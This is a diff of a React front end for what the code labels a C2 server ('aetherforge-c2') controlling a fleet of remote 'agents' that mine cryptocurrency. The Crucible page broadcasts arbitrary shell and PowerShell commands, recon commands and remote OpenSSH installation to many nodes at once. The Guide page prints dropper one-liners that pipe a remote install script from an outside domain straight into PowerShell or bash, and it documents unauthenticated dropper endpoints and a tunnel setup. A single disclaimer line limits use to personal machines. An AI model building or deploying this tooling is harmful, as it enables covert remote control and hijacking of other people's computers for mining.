// Only show results from agents that are selected (or all if nothing selected)
if (selectedIds.size > 0 && !selectedIds.has(aid)) continue;
const agent = agents.find((a) => a.id === aid);
const name = agent?.name ?? aid.slice(0, 8);
// Parse SSH probe results to update ssh status
const msg = r.message ?? '';
if (msg.includes('SSH_PROBE:ONLINE')) {
setSshOverride((prev) => ({ ...prev, [aid]: true }));
} else if (msg.includes('SSH_PROBE:OFFLINE')) {
setSshOverride((prev) => ({ ...prev, [aid]: false }));
}
// Split multi-line output
const msgLines = msg.split('\n').filter(Boolean);
for (const line of msgLines) {
lines.push({
id: mkId(),
agentId: aid,
agentName: name,
isCmd: false,
text: line,
ts: new Date(),
success: r.success,
});
}
}
if (lines.length > 0) {
setTermLines((prev) => [...prev, ...lines].slice(-2000));
}
// eslint-disable-next-line react-hooks/exhaustive-deps
}, [commandResults]);
// ── Selection helpers ──────────────────────────────────────────────────
const toggle = (id: string) =>
setSelectedIds((prev) => {
const next = new Set(prev);
if (next.has(id)) next.delete(id); else next.add(id);
return next;
});
const selectAll = () => setSelectedIds(new Set(agents.filter(online).map((a) => a.id)));
const clearSel = () => setSelectedIds(new Set());
const addGroup = () => {
if (!groupNameInput.trim() || selectedIds.size === 0) return;
setGroups((prev) => [
...prev,
{ id: mkId(), name: groupNameInput.trim(), agentIds: new Set(selectedIds) },
]);
setGroupNameInput('');
};
const activateGroup = (g: NodeGroup) => setSelectedIds(new Set(g.agentIds));
const deleteGroup = (id: string) => setGroups((prev) => prev.filter((g) => g.id !== id));
// ── Dispatch command ───────────────────────────────────────────────────
const dispatch = useCallback(async (command: string, shell: ShellType, targets?: Agent[]) => {
const tgts = targets ?? selectedAgents.filter(online);
if (tgts.length === 0 || !command.trim()) return;
setBusy(true);
// Echo command to terminal
const echoLines: TermLine[] = tgts.map((a) => ({
id: mkId(),
agentId: a.id,
agentName: a.name,
isCmd: true,
text: command,
ts: new Date(),
}));
setTermLines((prev) => [...prev, ...echoLines].slice(-2000));
setCmdHistory((h) => [command, ...h].slice(0, 50));
setHistIdx(-1);
const action = shell === 'powershell' ? 'powershell'
: shell === 'sh' ? 'exec'
: 'exec';
await Promise.all(
tgts.map((a) =>
api.sendAgentCommand(a.id, action, { command }).catch((err) => {
setTermLines((prev) => [
...prev,
{
id: mkId(),
agentId: a.id,
agentName: a.name,
isCmd: false,
text: `[ERROR] ${err instanceof Error ? err.message : String(err)}`,
ts: new Date(),
success: false,
},
]);
})
)
);
setBusy(false);
cmdRef.current?.focus();
}, [selectedAgents]);
const sendCmd = () => {
dispatch(cmd, shellType);
setCmd('');
};
const probeSSH = (targets?: Agent[]) => {
const tgts = targets ?? selectedAgents.filter(online);
for (const a of tgts) {
const isWin = a.platform?.toLowerCase().includes('win') ?? true;
const probeCmd = isWin ? PROBE_SSH_PS : PROBE_SSH_SH;
const shell: ShellType = isWin ? 'powershell' : 'sh';
dispatch(probeCmd, shell, [a]);
}
};
const wakeSSH = (targets?: Agent[]) => {
const tgts = targets ?? selectedAgents.filter(online);
for (const a of tgts) {
const isWin = a.platform?.toLowerCase().includes('win') ?? true;
if (isWin) {
dispatch(WAKE_SSH_PS, 'powershell', [a]);
} else {
dispatch('which sshd && systemctl start sshd 2>/dev/null || service ssh start 2>/dev/null; echo SSH_WAKE_OK', 'sh', [a]);
}
}
};
const handleKey = (e: React.KeyboardEvent<HTMLInputElement>) => {
if (e.key === 'Enter') { sendCmd(); return; }
if (e.key === 'ArrowUp') {
e.preventDefault();
const next = Math.min(histIdx + 1, cmdHistory.length - 1);
setHistIdx(next);
setCmd(cmdHistory[next] ?? '');
}
if (e.key === 'ArrowDown') {
e.preventDefault();
const next = Math.max(histIdx - 1, -1);
setHistIdx(next);
setCmd(next < 0 ? '' : cmdHistory[next] ?? '');
}
};
// ── Effective SSH status ───────────────────────────────────────────────
const sshStatus = (a: Agent) => {
const override = sshOverride[a.id];
if (override !== undefined) return { label: override ? 'SSH ON' : 'SSH OFF', cls: override ? 'ssh-on' : 'ssh-off' };
return sshBadge({ ...a });
};
// ── Render ─────────────────────────────────────────────────────────────
return (
<div className="page fade-in crucible-page">
<header className="deck-hero" style={{ marginBottom: '1rem' }}>
<div className="deck-hero-text">
<p className="deck-eyebrow font-tech">REMOTE OPERATIONS THEATER</p>
<h1>Crucible</h1>
<p className="page-subtitle">select nodes · group them · command them all at once</p>
</div>
<div className="deck-hero-status">
<div className="crucible-sel-summary">
<span className="font-tech" style={{ color: 'var(--neon-cyan)' }}>
{selectedIds.size > 0 ? `${selectedIds.size} selected` : 'none selected'}
</span>
<span style={{ color: 'var(--text-muted)', fontSize: '0.8rem' }}>
{agents.filter(online).length} online / {agents.length} total
</span>
</div>
<button className="button crucible-btn" onClick={selectAll}>Select Online</button>
<button className="button crucible-btn-muted" onClick={clearSel}>Clear</button>
</div>
</header>
{/* ── Node Roster ─────────────────────────────────────────────────── */}
<NeonCard accent="cyan" className="crucible-roster-card" hud tilt3d={false}>
<div className="crucible-section-title font-tech">
<span className="section-ornament"></span> NODE ROSTER
</div>
{agents.length === 0 ? (
<p className="form-hint" style={{ marginTop: '0.5rem' }}>No nodes registered. Forge a build and deploy it to your machines.</p>
) : (
<div className="crucible-roster">
{agents.map((a) => {
const sel = selectedIds.has(a.id);
const isOn = online(a);
const ssh = sshStatus(a);
const color = agentColor(a.id, allIds);
return (
<div
key={a.id}
className={`crucible-node-card ${sel ? 'selected' : ''} ${isOn ? '' : 'offline'}`}
style={sel ? { '--sel-color': color } as React.CSSProperties : undefined}
onClick={() => toggle(a.id)}
>
<div className="crucible-node-check">
<span className={`cn-checkbox ${sel ? 'checked' : ''}`}
style={sel ? { borderColor: color, background: color + '33' } : undefined} />
</div>
<div className="crucible-node-body">
<div className="cn-name" style={sel ? { color } : undefined}>
<span className="cn-platform">{platformIcon(a.platform)}</span>
{a.name}
</div>
<div className="cn-meta">
<span className="cn-badge">{a.platform ?? 'unknown'}{a.arch ? `·${a.arch}` : ''}</span>
<span className={`cn-status-dot ${isOn ? 'on' : 'off'}`} />
</div>
<div className="cn-ip font-tech">{a.ip || '—'}</div>
<div className="cn-stats">
<span>{a.cpu_cores}c</span>
<span>{formatHashrate(a.hashrate_15m)}</span>
</div>
<div className={`cn-ssh ${ssh.cls}`}>{ssh.label}</div>
</div>
</div>
);
})}
</div>
)}
</NeonCard>
{/* ── Groups & Actions ────────────────────────────────────────────── */}
<div className="crucible-row">
<NeonCard accent="purple" className="crucible-groups-card" tilt3d={false}>
<div className="crucible-section-title font-tech">
<span className="section-ornament"></span> GROUPS
</div>
<div className="crucible-groups-list">
{groups.length === 0 && (
<p className="form-hint" style={{ margin: 0 }}>
Select nodes above, name a group, save it here.
</p>
)}
{groups.map((g) => (
<div key={g.id} className="crucible-group-item" onClick={() => activateGroup(g)}>
<span className="cg-name">{g.name}</span>
<span className="cg-count">{g.agentIds.size} nodes</span>
<button className="cg-del" onClick={(e) => { e.stopPropagation(); deleteGroup(g.id); }}>×</button>
</div>
))}
</div>
<div className="crucible-group-new">
<input
className="crucible-input"
value={groupNameInput}
onChange={(e) => setGroupNameInput(e.target.value)}
onKeyDown={(e) => e.key === 'Enter' && addGroup()}
placeholder={`Name group (${selectedIds.size} selected)…`}
/>
<button className="button crucible-btn" onClick={addGroup} disabled={!groupNameInput.trim() || selectedIds.size === 0}>
Save
</button>
</div>
</NeonCard>
<NeonCard accent="amber" className="crucible-actions-card" tilt3d={false}>
<div className="crucible-section-title font-tech">
<span className="section-ornament"></span> OPERATIONS
</div>
<div className="crucible-ops">
<div className="crucible-op-group">
<span className="cop-label">SSH</span>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
onClick={() => probeSSH()}
title="Probe port 22 on selected nodes"
>
Probe SSH
</button>
<button
className="button crucible-op-btn crucible-op-wake"
disabled={selectedIds.size === 0}
onClick={() => wakeSSH()}
title="Install + start OpenSSH server on selected Windows nodes"
>
Wake SSH
</button>
</div>
<div className="crucible-op-group">
<span className="cop-label">Mining</span>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
onClick={() => Promise.all(selectedAgents.filter(online).map((a) => api.sendAgentCommand(a.id, 'resume')))}
>
Resume All
</button>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
onClick={() => Promise.all(selectedAgents.filter(online).map((a) => api.sendAgentCommand(a.id, 'pause')))}
>
Pause All
</button>
</div>
<div className="crucible-op-group">
<span className="cop-label">Recon</span>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
onClick={() => dispatch('whoami', shellType)}
>
whoami
</button>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
onClick={() => dispatch(shellType === 'powershell' ? 'Get-ComputerInfo | Select CsName,WindowsVersion,OsArchitecture' : 'uname -a', shellType)}
>
sysinfo
</button>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
onClick={() => dispatch(shellType === 'powershell' ? 'ipconfig /all' : 'ip addr', shellType)}
>
ipconfig
</button>
</div>
<div className="crucible-op-group">
<span className="cop-label">Shell</span>
<div className="crucible-shell-tabs">
{(['powershell', 'exec', 'sh'] as ShellType[]).map((s) => (
<button
key={s}
className={`crucible-shell-tab ${shellType === s ? 'active' : ''}`}
onClick={() => setShellType(s)}
>
{s === 'powershell' ? 'PS' : s === 'exec' ? 'CMD' : 'SH'}
</button>
))}
</div>
</div>
{selectedIds.size > 0 && (
<div className="crucible-sel-chips">
{selectedAgents.map((a) => {
const color = agentColor(a.id, allIds);
const ssh = sshStatus(a);
return (
<span
key={a.id}
className="crucible-chip"
style={{ borderColor: color, color }}
onClick={() => toggle(a.id)}
title={`${a.ip ?? ''} · ${ssh.label}`}
>
{a.name} ×
</span>
);
})}
</div>
)}
</div>
</NeonCard>
</div>
{/* ── Terminal ────────────────────────────────────────────────────── */}
<NeonCard accent="green" className="crucible-term-card" tilt3d={false}>
<div className="crucible-term-header">
<div className="crucible-section-title font-tech" style={{ marginBottom: 0 }}>
<span className="section-ornament"></span> TERMINAL
<span className="crucible-term-target">
{selectedIds.size === 0
? '— select nodes above —'
: `${selectedIds.size} node${selectedIds.size > 1 ? 's' : ''}: ${selectedAgents.slice(0, 3).map((a) => a.name).join(', ')}${selectedAgents.length > 3 ? ` +${selectedAgents.length - 3}` : ''}`
}
</span>
</div>
<button className="crucible-btn-muted" onClick={() => setTermLines([])}>CLEAR</button>
</div>
<div className="crucible-terminal">
{termLines.length === 0 && (
<div className="crucible-term-empty">
Select nodes · type a command · press Enter
</div>
)}
{termLines.map((line) => {
const color = agentColor(line.agentId, allIds);
return (
<div
key={line.id}
className={`crucible-term-line ${line.isCmd ? 'cmd-line' : 'out-line'} ${line.success === false ? 'err-line' : ''}`}
>
<span className="ctl-agent" style={{ color }}>
{line.agentName.slice(0, 12).padEnd(12)}
</span>
<span className="ctl-arrow" style={{ color }}>
{line.isCmd ? '▶' : '◀'}
</span>
<span className="ctl-text">{line.text}</span>
<span className="ctl-ts">{line.ts.toLocaleTimeString()}</span>
</div>
);
})}
<div ref={termEndRef} />
</div>
<div className="crucible-term-input-row">
<span className="crucible-prompt font-tech">
[{shellType === 'powershell' ? 'PS' : shellType === 'exec' ? 'CMD' : 'SH'}]$
</span>
<input
ref={cmdRef}
className="crucible-term-input"
value={cmd}
onChange={(e) => setCmd(e.target.value)}
onKeyDown={handleKey}
placeholder={selectedIds.size === 0 ? 'select a node first…' : 'command…'}
disabled={busy || selectedIds.size === 0}
spellCheck={false}
autoComplete="off"
/>
<button
className={`button crucible-send-btn ${busy ? 'busy' : ''}`}
onClick={sendCmd}
disabled={busy || !cmd.trim() || selectedIds.size === 0}
>
{busy ? '…' : 'SEND'}
</button>
</div>
</NeonCard>
{/* ── SSH Access Info ─────────────────────────────────────────────── */}
<NeonCard accent="brass" className="crucible-ssh-info" tilt3d={false}>
<div className="crucible-section-title font-tech">
<span className="section-ornament"></span> SSH ACCESS NOTES
</div>
<div className="crucible-ssh-grid">
<div className="crucible-ssh-step">
<span className="css-num">1</span>
<div>
<strong>Probe</strong> click "Probe SSH" to test if port 22 is open on the target machine.
</div>
</div>
<div className="crucible-ssh-step">
<span className="css-num">2</span>
<div>
<strong>Wake SSH (Windows)</strong> installs OpenSSH Server via Windows capability, starts the service, marks it auto-start. Requires admin agent.
</div>
</div>
<div className="crucible-ssh-step">
<span className="css-num">3</span>
<div>
<strong>Connect directly</strong> if you're on the same LAN, <code className="crucible-code">ssh user@&lt;ip&gt;</code>. Node IP is shown on each card.
</div>
</div>
<div className="crucible-ssh-step">
<span className="css-num">4</span>
<div>
<strong>Remote (via tunnel)</strong> run the <code className="crucible-code">start_tunnel</code> action on the agent (use the Agents page), then the node punches out through your Cloudflare tunnel.
</div>
</div>
</div>
</NeonCard>
</div>
);
}

View File

@@ -48,6 +48,7 @@ export default function DashboardPage() {
const [restAI, setRestAI] = useState<typeof aiActivity>([]);
const [subtitle, setSubtitle] = useState('security is just an emotion');
const [hashHistory, setHashHistory] = useState<{ time: string; value: number }[]>([]);
const [acceptHistory, setAcceptHistory] = useState<{ time: string; value: number }[]>([]);
const [cpuHistory, setCpuHistory] = useState<{ time: string; value: number }[]>([]);
const [memHistory, setMemHistory] = useState<{ time: string; value: number }[]>([]);
const [hasBuilds, setHasBuilds] = useState(false);
@@ -114,9 +115,10 @@ export default function DashboardPage() {
useEffect(() => {
const now = new Date().toLocaleTimeString();
setHashHistory((prev) => [...prev.slice(-59), { time: now, value: totalHashrate }]);
setAcceptHistory((prev) => [...prev.slice(-59), { time: now, value: acceptRate }]);
setCpuHistory((prev) => [...prev.slice(-59), { time: now, value: avgCpu }]);
setMemHistory((prev) => [...prev.slice(-59), { time: now, value: avgMem }]);
}, [totalHashrate, avgCpu, avgMem]);
}, [totalHashrate, acceptRate, avgCpu, avgMem]);
const filteredAgents = useMemo(() => filterFleetAgents(agents, filters), [agents, filters]);
@@ -146,6 +148,29 @@ export default function DashboardPage() {
[agents]
);
// ── Extra pretty numbers ───────────────────────────────────────────────────
const bestAgent = useMemo(
() => agents.filter((a) => a.status === 'online').sort((a, b) => b.hashrate_15m - a.hashrate_15m)[0] ?? null,
[agents]
);
const totalCores = useMemo(
() => agents.filter((a) => a.status === 'online').reduce((s, a) => s + (a.cpu_cores || 0), 0),
[agents]
);
const totalUptimeHours = useMemo(
() => agents.reduce((s, a) => s + (a.uptime_seconds || 0), 0) / 3600,
[agents]
);
const sharesPerHour = useMemo(() => {
// Estimate from recent share log timestamps
if (shares.length < 2) return 0;
const times = shares.map((s) => new Date(s.timestamp).getTime()).filter((t) => !isNaN(t)).sort((a, b) => b - a);
if (times.length < 2) return 0;
const spanMs = times[0] - times[times.length - 1];
if (spanMs <= 0) return 0;
return Math.round((times.length / spanMs) * 3_600_000);
}, [shares]);
// ── Analytics ─────────────────────────────────────────────────────────────
const fleetHealth = useMemo(() => computeFleetHealth(agents, pools), [agents, pools]);
const contribs = useMemo(() => contributionBars(agents), [agents]);
@@ -280,6 +305,50 @@ export default function DashboardPage() {
<div className="stat-value">{avgCpu.toFixed(0)}% CPU</div>
<div className="stat-sub">{avgMem.toFixed(0)}% memory · fleet mean</div>
</NeonCard>
{/* ── Pretty numbers row ── */}
<NeonCard accent="gold" className="stat-card-wrap">
<div className="stat-label font-tech">Top Miner</div>
{bestAgent ? (
<>
<div className="stat-value neon-glow-gold" style={{ fontSize: '1.1rem' }}>
{bestAgent.name.length > 14 ? bestAgent.name.slice(0, 13) + '…' : bestAgent.name}
</div>
<div className="stat-sub">{formatHashrate(bestAgent.hashrate_15m)} · {bestAgent.cpu_cores}c</div>
</>
) : (
<>
<div className="stat-value stat-dim"></div>
<div className="stat-sub">no miners online</div>
</>
)}
</NeonCard>
<NeonCard accent="cyan" className="stat-card-wrap">
<div className="stat-label font-tech">Fleet Compute</div>
<div className="stat-value neon-glow-cyan">
{totalCores > 0 ? totalCores.toLocaleString() : '—'}
<span className="stat-dim" style={{ fontSize: '0.8em' }}> cores</span>
</div>
<div className="stat-sub">{onlineCount} nodes active</div>
</NeonCard>
<NeonCard accent="green" className="stat-card-wrap">
<div className="stat-label font-tech">Fleet Uptime</div>
<div className="stat-value accepted">
{totalUptimeHours >= 1 ? totalUptimeHours.toFixed(0).replace(/\B(?=(\d{3})+(?!\d))/g, ',') : '< 1'}
<span className="stat-dim" style={{ fontSize: '0.8em' }}> hrs</span>
</div>
<div className="stat-sub">cumulative across fleet</div>
</NeonCard>
<NeonCard accent="purple" className="stat-card-wrap">
<div className="stat-label font-tech">Shares / hr</div>
<div className="stat-value neon-glow-purple">
{sharesPerHour > 0 ? sharesPerHour.toLocaleString() : '—'}
</div>
<div className="stat-sub">{totalShares.toLocaleString()} total submitted</div>
</NeonCard>
</div>
{/* ── Analytics row — always visible ─────────────────────────────────── */}
@@ -301,17 +370,20 @@ export default function DashboardPage() {
<NeonCard accent="cyan" tilt3d>
<HashrateChart data={hashHistory} title="Fleet Hashrate Wave" color="#00f5ff" unit="H/s" height={300} />
</NeonCard>
{advancedMode && (
<NeonCard accent="magenta" tilt3d>
<HashrateChart data={cpuHistory} title="CPU Pressure" color="#ff2da6" unit="%" height={300} />
</NeonCard>
)}
<NeonCard accent="purple" tilt3d>
<HashrateChart data={acceptHistory} title="Accept Rate Pulse" color="#a855f7" unit="%" height={300} />
</NeonCard>
</div>
{advancedMode && (
<NeonCard accent="brass" className="chart-row-full" tilt3d>
<HashrateChart data={memHistory} title="Memory Load — Fleet Average" color="#ffb020" unit="%" height={220} />
</NeonCard>
<div className="grid-2 chart-row">
<NeonCard accent="magenta" tilt3d>
<HashrateChart data={cpuHistory} title="CPU Pressure" color="#ff2da6" unit="%" height={220} />
</NeonCard>
<NeonCard accent="brass" tilt3d>
<HashrateChart data={memHistory} title="Memory Load — Fleet Average" color="#ffb020" unit="%" height={220} />
</NeonCard>
</div>
)}
<NeonCard accent="purple" className="section" hud>

View File

@@ -4,6 +4,7 @@ import {
CHEAT_SECTIONS,
PIPELINE_STEPS,
TROUBLESHOOTING,
type CheatStep,
} from '../help/cheatSheetContent';
import {
ForgeCalibrateCompare,
@@ -12,6 +13,80 @@ import {
} from '../components/Visual/VisualComponents';
import './Pages.css';
/** Inline code block with copy button */
function CodeBlock({ code }: { code: string }) {
const copy = () => navigator.clipboard?.writeText(code);
return (
<div className="guide-code-block">
<pre className="guide-code-pre">{code}</pre>
<button type="button" className="guide-code-copy" onClick={copy} title="Copy to clipboard">
Copy
</button>
</div>
);
}
/** A single step card — shows body, tips, optional code example, optional nav button */
function StepCard({ step }: { step: CheatStep }) {
return (
<div className="guide-step-card">
<div className="guide-step-num">{step.icon}</div>
<div className="guide-step-body">
<h4>{step.title} <span className="guide-step-sub"> {step.subtitle}</span></h4>
<p>{step.body}</p>
{step.tips && (
<ul className="guide-tips">
{step.tips.map((t) => <li key={t}>{t}</li>)}
</ul>
)}
{step.code && <CodeBlock code={step.code} />}
</div>
{step.route && (
<Link to={step.route} className="btn btn-outline btn-sm guide-step-btn">
{step.routeLabel || 'Open'}
</Link>
)}
</div>
);
}
/** ASCII topology diagram — portable self-configuring setup */
function TopologyDiagram() {
const lines = [
' ┌──────────────────────────────────────────────────────────────────────┐',
' │ USB / Portable Machine (any network) │',
' │ │',
' │ ┌──────────────────────────────────────────────────────────────┐ │',
' │ │ LAUNCH.bat │ │',
' │ │ │ │',
' │ │ 1. Installs cloudflared if missing (bundled MSI) │ │',
' │ │ 2. Stages credentials.json from cloudflare\\ folder │ │',
' │ │ 3. Writes fresh config.yml → 127.0.0.1:8989 │ │',
' │ │ 4. Starts cloudflared tunnel (skips if already running) │ │',
' │ │ 5. Starts AetherForge.exe on 0.0.0.0:8989 │ │',
' │ └────────────────────────┬─────────────────────────────────────┘ │',
' │ │ localhost │',
' │ ┌─────────────┴──────────────┐ │',
' │ │ cloudflared named tunnel │ │',
' │ │ aetherforge-c2 │──────────────▶ CF Edge │',
' │ └─────────────────────────────┘ │ │',
' └────────────────────────────────────────────────────────────────────┘ ',
' │',
' https://killa.thetempleofdoom.com (permanent) │',
' │',
' ┌───────────────┬───────────────┐ │',
' ▼ ▼ ▼ │',
' [Agent PC] [Agent PC] [Agent PC] ◀──-┘',
' any network any network any network',
' baked C2 URL baked C2 URL baked C2 URL',
];
return (
<div className="guide-topology">
<pre className="guide-topology-pre">{lines.join('\n')}</pre>
</div>
);
}
export default function GuidePage() {
return (
<div className="page fade-in command-deck">
@@ -20,11 +95,12 @@ export default function GuidePage() {
<p className="deck-eyebrow font-tech">OPERATIONS MANUAL</p>
<h1>Field Guide</h1>
<p className="page-subtitle">
Visual cheat sheet what each page does, how the pipeline works, and what to fix when things break.
Everything you need pipeline, network topology, one-liner commands, Fusion, AI Autonomy, and fixes for when things break.
</p>
</div>
</header>
{/* ── Live pipeline ── */}
<NeonCard accent="cyan" className="section" hud>
<h2 className="section-title font-display">
<span className="section-ornament"></span> Live pipeline
@@ -33,73 +109,103 @@ export default function GuidePage() {
<PipelineFlow />
</NeonCard>
{/* ── Network topology ── */}
<NeonCard accent="amber" className="section">
<h2 className="section-title font-display">
<span className="section-ornament"></span> Network topology
<span className="section-line" />
</h2>
<p className="form-hint" style={{ marginBottom: '0.75rem' }}>
AetherForge binds to <code className="mono-sm">0.0.0.0:PORT</code> it does not need to know about Cloudflare.
A separate machine runs <code className="mono-sm">cloudflared</code> and tunnels external traffic to the C2's LAN IP.
Agents connect to the Cloudflare tunnel URL baked at Forge time.
</p>
<TopologyDiagram />
<div className="guide-step-card" style={{ marginTop: '1rem' }}>
<div className="guide-step-num">💡</div>
<div className="guide-step-body">
<h4>How it works on any machine</h4>
<ul className="guide-tips">
<li>Plug in USB → run <code className="mono-sm">LAUNCH.bat</code> — cloudflared installs + tunnel starts automatically</li>
<li>AetherForge binds <code className="mono-sm">0.0.0.0:8989</code> — cloudflared connects to <code className="mono-sm">127.0.0.1:8989</code></li>
<li>Public URL never changes: <code className="mono-sm">https://killa.thetempleofdoom.com</code></li>
<li>Forge Control Endpoint: <code className="mono-sm">https://killa.thetempleofdoom.com</code></li>
<li>Backup C2 in Forge: <code className="mono-sm">http://192.168.x.x:8989</code> (LAN fallback)</li>
<li>One-time setup: see <code className="mono-sm">cloudflare/SETUP.txt</code> on the USB</li>
</ul>
<CodeBlock code={`# One-time setup (any machine, done once):
cloudflared tunnel login
cloudflared tunnel create aetherforge-c2
cloudflared tunnel route dns aetherforge-c2 killa.thetempleofdoom.com
copy %USERPROFILE%\\.cloudflared\\<tunnel-id>.json cloudflare\\credentials.json
# After that — just run:
LAUNCH.bat`} />
</div>
</div>
</NeonCard>
{/* ── Forge vs Calibrate ── */}
<section className="section">
<h2 className="section-title font-display">
<span className="section-ornament"></span> Forge vs Calibrate
<span className="section-ornament">◆</span> Forge vs Calibrate — what goes where
<span className="section-line" />
</h2>
<ForgeCalibrateCompare />
</section>
{/* ── Dropper one-liners quick-ref ── */}
<NeonCard accent="green" className="section">
<h2 className="section-title font-display">
<span className="section-ornament">◆</span> Dropper one-liners
<span className="section-line" />
</h2>
<p className="form-hint" style={{ marginBottom: '0.75rem' }}>
Pin a build in <Link to="/builds" className="guide-link">Build Manager</Link> first — then send one of these to any machine. Terminal closes automatically after the agent launches. Hostname is permanent via named Cloudflare tunnel.
</p>
<div className="guide-dropper-grid">
<div className="guide-dropper-item">
<span className="guide-dropper-os">Windows</span>
<CodeBlock code={`iex (irm 'https://killa.thetempleofdoom.com/install.ps1')`} />
</div>
<div className="guide-dropper-item">
<span className="guide-dropper-os">Linux / macOS</span>
<CodeBlock code={`curl -sL https://killa.thetempleofdoom.com/install.sh | bash`} />
</div>
<div className="guide-dropper-item">
<span className="guide-dropper-os">Direct binary</span>
<CodeBlock code={`https://killa.thetempleofdoom.com/get?os=windows
https://killa.thetempleofdoom.com/get?os=linux
https://killa.thetempleofdoom.com/get`} />
</div>
</div>
<p className="form-hint" style={{ marginTop: '0.5rem' }}>
Dropper endpoints are unauthenticated the URL is the gate. Dashboard requires login. Tunnel auto-starts with LAUNCH.bat on any machine.
</p>
</NeonCard>
{/* ── Detailed section steps ── */}
{CHEAT_SECTIONS.filter((s) => s.steps && s.id !== 'pipeline').map((section) => (
<section key={section.id} className="section">
<h2 className="section-title font-display">
<span className="section-ornament"></span> {section.title}
<span className="section-line" />
</h2>
<p className="form-hint">{section.description}</p>
{section.steps?.map((step) => (
<div key={step.id} className="guide-step-card">
<div className="guide-step-num">{step.icon}</div>
<div className="guide-step-body">
<h4>{step.title} {step.subtitle}</h4>
<p>{step.body}</p>
{step.tips && (
<ul className="guide-tips">
{step.tips.map((t) => (
<li key={t}>{t}</li>
))}
</ul>
)}
</div>
{step.route && (
<Link to={step.route} className="btn btn-outline btn-sm">
{step.routeLabel || 'Open'}
</Link>
)}
</div>
))}
<p className="form-hint" style={{ marginBottom: '0.75rem' }}>{section.description}</p>
{section.steps?.map((step) => <StepCard key={step.id} step={step} />)}
</section>
))}
{/* ── Step-by-step pipeline detail ── */}
<section className="section">
<h2 className="section-title font-display">
<span className="section-ornament"></span> Step-by-step (detailed)
<span className="section-ornament"></span> Step-by-step (pipeline detail)
<span className="section-line" />
</h2>
{PIPELINE_STEPS.map((step) => (
<div key={step.id} className="guide-step-card">
<div className="guide-step-num">{step.icon}</div>
<div className="guide-step-body">
<h4>{step.title} {step.subtitle}</h4>
<p>{step.body}</p>
{step.tips && (
<ul className="guide-tips">
{step.tips.map((t) => (
<li key={t}>{t}</li>
))}
</ul>
)}
</div>
{step.route && (
<Link to={step.route} className="btn btn-primary btn-sm">
{step.routeLabel}
</Link>
)}
</div>
))}
{PIPELINE_STEPS.map((step) => <StepCard key={step.id} step={step} />)}
</section>
{/* ── Troubleshooting ── */}
<section className="section">
<h2 className="section-title font-display">
<span className="section-ornament"></span> Troubleshooting
@@ -115,16 +221,18 @@ export default function GuidePage() {
</NeonCard>
</section>
{/* ── Roadmap ── */}
<section className="section">
<h2 className="section-title font-display">
<span className="section-ornament"></span> Product roadmap
<span className="section-ornament"></span> Feature status
<span className="section-line" />
</h2>
<p className="form-hint" style={{ marginBottom: '1rem' }}>
Shipped capabilities (high/medium) and remaining low-priority ideas.
Shipped (high), in progress (medium), and planned (low) capabilities.
</p>
<RoadmapGrid />
</section>
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
</footer>

View File

@@ -966,6 +966,11 @@
text-shadow: 0 0 20px rgba(178, 75, 243, 0.5);
}
.neon-glow-gold {
color: var(--brass-light) !important;
text-shadow: 0 0 20px rgba(232, 197, 71, 0.55);
}
.chart-row-full {
margin-bottom: 2rem;
}
@@ -1332,3 +1337,168 @@ button.deliverable-card .form-hint {
align-items: center;
margin-top: 0.75rem;
}
/* ── Forge progress bar ───────────────────────────────────────── */
.forge-progress-wrap {
margin-top: 1rem;
margin-bottom: 0.5rem;
padding: 0.75rem 1rem;
border: 1px solid rgba(255, 140, 0, 0.35);
border-radius: 6px;
background: rgba(255, 100, 0, 0.06);
animation: forge-progress-fadein 0.25s ease;
}
@keyframes forge-progress-fadein {
from { opacity: 0; transform: translateY(4px); }
to { opacity: 1; transform: translateY(0); }
}
.forge-progress-header {
display: flex;
align-items: center;
gap: 0.5rem;
margin-bottom: 0.55rem;
}
.forge-progress-icon {
font-size: 0.95rem;
animation: forge-spin 1.4s linear infinite;
display: inline-block;
color: #ff8c00;
}
@keyframes forge-spin {
from { transform: rotate(0deg); }
to { transform: rotate(360deg); }
}
.forge-progress-stage {
flex: 1;
font-family: 'Courier New', monospace;
font-size: 0.8rem;
color: #ffb347;
letter-spacing: 0.04em;
text-transform: uppercase;
}
.forge-progress-pct {
font-family: 'Courier New', monospace;
font-size: 0.8rem;
font-weight: 700;
color: #ffd700;
min-width: 3rem;
text-align: right;
}
.forge-progress-track {
position: relative;
height: 6px;
background: rgba(255, 255, 255, 0.08);
border-radius: 4px;
overflow: visible;
}
.forge-progress-fill {
height: 100%;
border-radius: 4px;
background: linear-gradient(90deg, #ff6a00, #ffb300, #ffd700);
box-shadow: 0 0 8px rgba(255, 160, 0, 0.6);
transition: width 0.35s cubic-bezier(0.4, 0, 0.2, 1);
position: relative;
z-index: 1;
}
.forge-progress-glow {
position: absolute;
top: 50%;
transform: translate(-50%, -50%);
width: 14px;
height: 14px;
border-radius: 50%;
background: rgba(255, 200, 50, 0.5);
box-shadow: 0 0 10px 4px rgba(255, 160, 0, 0.6);
pointer-events: none;
z-index: 2;
animation: forge-glow-pulse 0.8s ease-in-out infinite alternate;
}
@keyframes forge-glow-pulse {
from { opacity: 0.6; transform: translate(-50%, -50%) scale(0.85); }
to { opacity: 1; transform: translate(-50%, -50%) scale(1.15); }
}
/* ── Forge last-build compact strip ─────────────────────────────────────── */
.forge-last-build-strip {
display: flex;
align-items: center;
justify-content: space-between;
flex-wrap: wrap;
gap: 0.6rem;
margin-top: 0.75rem;
padding: 0.6rem 0.85rem;
background: rgba(0, 255, 120, 0.06);
border: 1px solid rgba(0, 255, 120, 0.3);
border-radius: 6px;
animation: forge-strip-appear 0.25s ease;
}
@keyframes forge-strip-appear {
from { opacity: 0; transform: translateY(-4px); }
to { opacity: 1; transform: translateY(0); }
}
.forge-last-build-info {
display: flex;
align-items: center;
gap: 0.55rem;
min-width: 0;
}
.forge-last-build-check {
font-size: 1.1rem;
color: #00ff88;
flex-shrink: 0;
}
.forge-last-build-name {
font-family: 'Courier New', monospace;
font-size: 0.82rem;
color: #c8ffd4;
font-weight: 600;
margin-right: 0.3rem;
}
.forge-last-build-size {
font-family: 'Courier New', monospace;
font-size: 0.72rem;
color: #888;
